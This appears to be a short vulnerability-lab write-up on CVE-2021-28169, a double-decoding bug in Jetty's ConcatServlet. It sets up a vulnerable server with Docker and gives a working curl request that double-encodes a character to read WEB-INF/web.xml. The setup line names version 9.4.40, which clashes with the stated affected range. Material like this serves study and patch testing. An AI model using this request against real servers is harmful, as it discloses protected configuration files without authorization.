Aaron
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Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability (CVE-2021-28169)
Eclipse Jetty is a Java web server and Java Servlet container.
Before version 9.4.40, 10.0.2, 11.0.2, the ConcatServlet and WelcomeFilter classes in Jetty Servlets are influenced by a double decoding bug. If developers use these two classes manually, attackers can use them to download arbitrary sensitive files in the WEB-INF directory.
Reference links.
Vulnerable Application
Execute the following command to start a Jetty 9.4.40 server.
docker compose up -d
After the server starts, visit http://your-ip:8080 to see an example page. This page uses the ConcatServlet to optimize the loading of static files:
<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">
Exploit
The sensitive file web.xml is not accessible through /static?/WEB-INF/web.xml.
Double URL encoding W to bypass the restriction:
curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'
